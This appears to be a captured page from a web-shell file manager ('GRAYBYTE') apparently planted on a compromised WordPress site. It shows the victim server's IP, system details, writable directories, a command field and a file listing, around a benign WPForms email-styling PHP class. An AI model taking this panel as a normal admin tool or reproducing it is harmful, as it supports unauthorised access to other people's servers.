GRAYBYTE WORDPRESS FILE MANAGER9928

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/universaltoursandtravels.co.in/wp-content/plugins/wpforms/src/Emails/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/universaltoursandtravels.co.in/wp-content/plugins/wpforms/src/Emails//Styler.php
<?php

namespace WPForms\Emails;

use TijsVerkoyen\CssToInlineStyles\CssToInlineStyles;
use WPForms\Helpers\Templates;

/**
 * Styler class inline style email templates.
 *
 * @since 1.5.4
 */
class Styler {

	/**
	 * Email message with no styles.
	 *
	 * @since 1.5.4
	 *
	 * @var string
	 */
	protected $email;

	/**
	 * Email style templates names.
	 *
	 * @since 1.5.4
	 *
	 * @var array
	 */
	protected $style_templates;

	/**
	 * Email style overrides.
	 *
	 * @since 1.5.4
	 *
	 * @var array
	 */
	protected $style_overrides;

	/**
	 * Email message with inline styles.
	 *
	 * @since 1.5.4
	 *
	 * @var string
	 */
	protected $styled_email;

	/**
	 * Constructor.
	 *
	 * @since 1.5.4
	 *
	 * @param string $email           Email with no styles.
	 * @param array  $style_templates Email style templates.
	 * @param array  $style_overrides Email style overrides.
	 */
	public function __construct( $email, $style_templates, $style_overrides ) {

		$this->email = $email;

		$this->style_templates = \is_array( $style_templates ) ? $style_templates : array();
		$this->style_overrides = \is_array( $style_overrides ) ? $style_overrides : array();
	}

	/**
	 * Template style overrides.
	 *
	 * @since 1.5.4
	 *
	 * @return array
	 */
	protected function get_style_overrides() {

		$defaults = array(
			'email_background_color' => \wpforms_setting( 'email-background-color', '#e9eaec' ),
		);

		$overrides = \wp_parse_args( $this->style_overrides, $defaults );

		return \apply_filters( 'wpforms_emails_mailer_get_style_overrides', $overrides, $this );
	}

	/**
	 * Locate template name matching styles.
	 *
	 * @since 1.5.4
	 *
	 * @param string $name Template file name part.
	 *
	 * @return string
	 */
	protected function get_styles( $name = 'style' ) {

		if ( ! \array_key_exists( $name, $this->style_templates ) ) {
			return '';
		}

		return Templates::get_html(
			$this->style_templates[ $name ],
			$this->get_style_overrides(),
			true
		);
	}

	/**
	 * Final processing of the template markup.
	 *
	 * @since 1.5.4
	 */
	public function process_markup() {

		$this->styled_email = ( new CssToInlineStyles() )->convert( $this->email, $this->get_styles() );

		$queries = '<style type="text/css">' . $this->get_styles( 'queries' ) . "</style>\n</head>";

		// Inject media queries, CssToInlineStyles strips them.
		$this->styled_email = \str_replace( '</head>', $queries, $this->styled_email );
	}

	/**
	 * Get an email with inline styles.
	 *
	 * @since 1.5.4
	 *
	 * @return string
	 */
	public function get() {

		if ( empty( $this->styled_email ) ) {
			$this->process_markup();
		}

		return $this->styled_email;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 01 2025 06:23:18
giriqfky / giriqfky
0755
Templates
--
July 01 2025 06:23:18
giriqfky / giriqfky
0755
InfoBlocks.php
3.522 KB
September 25 2023 10:09:54
giriqfky / giriqfky
0644
InfoBlocksa.php
3.522 KB
September 25 2023 10:09:54
giriqfky / giriqfky
0644
Mailer.php
9.842 KB
September 25 2023 10:09:54
giriqfky / giriqfky
0644
Mailerk.php
9.842 KB
September 25 2023 10:09:54
giriqfky / giriqfky
0644
Styler.php
2.581 KB
September 25 2023 10:09:54
giriqfky / giriqfky
0644
Styleru.php
2.581 KB
September 25 2023 10:09:54
giriqfky / giriqfky
0644
Summaries.php
5.421 KB
September 25 2023 10:09:54
giriqfky / giriqfky
0644
Summariesa.php
5.421 KB
September 25 2023 10:09:54
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF